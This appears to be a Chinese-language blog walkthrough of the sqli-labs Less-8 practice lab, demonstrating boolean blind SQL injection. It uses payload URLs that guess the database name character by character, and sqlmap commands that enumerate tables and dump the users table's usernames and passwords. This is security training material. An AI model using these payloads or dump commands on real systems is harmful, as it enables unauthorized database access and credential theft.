sqli-labs第八关-布尔盲注

 进入第八关:http://localhost/sqli/Less-8/?id=1sqli-labs第八关-布尔盲注_第1张图片

 输入:http://localhost/sqli/Less-8/?id=1'

sqli-labs第八关-布尔盲注_第2张图片

没有显示信息

继续探测:http://localhost/sqli/Less-8/?id=1' --+

sqli-labs第八关-布尔盲注_第3张图片

又显示了回来

使用substr()函数探测数据库版本

输入:http://localhost/sqli/Less-8/?id=1' and substr(version(),1,1) = 5 --+

 sqli-labs第八关-布尔盲注_第4张图片

说明版本在5以上

使用length()函数探测数据库长度

 输入:http://localhost/sqli/Less-8/?id=1' and length(database()) >8 --+

sqli-labs第八关-布尔盲注_第5张图片

输入:http://localhost/sqli/Less-8/?id=1' and length(database()) =8 --+

sqli-labs第八关-布尔盲注_第6张图片

 说明数据库长度是8,可以进行猜测单词,会不会是security

使用 substr()、ascii()验证猜想

 得知s字母的在ASCII码表中的数字是115

输入:http://localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+

sqli-labs第八关-布尔盲注_第7张图片

猜想正确!

e字母的在ASCII码表中的数字是101

输入:http://localhost/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101 --+

sqli-labs第八关-布尔盲注_第8张图片

 正确!

利用information_schema数据库进行爆出相关数据

然后进行上述猜测,验证

可以用sqlmap进行。

或者输入:sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 -batch

 马赛克地方是你要扫描的地址

 sqli-labs第八关-布尔盲注_第9张图片

结果是出现:布尔盲注和时间盲注两个

输入:sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 --dbs 

sqli-labs第八关-布尔盲注_第10张图片

就扫描出了数据库

 输入:sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 -D security --tables

 sqli-labs第八关-布尔盲注_第11张图片

 就扫描出了表名

输入:sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 -D security -T users --columns

 sqli-labs第八关-布尔盲注_第12张图片

就扫描出了字段

 输入:sqlmap.py -u http://127.0.0.1/sqli/Less-8/?id=1 -D security -T users -C id,username,password --dump

sqli-labs第八关-布尔盲注_第13张图片

完成!

你可能感兴趣的:(数据库,安全)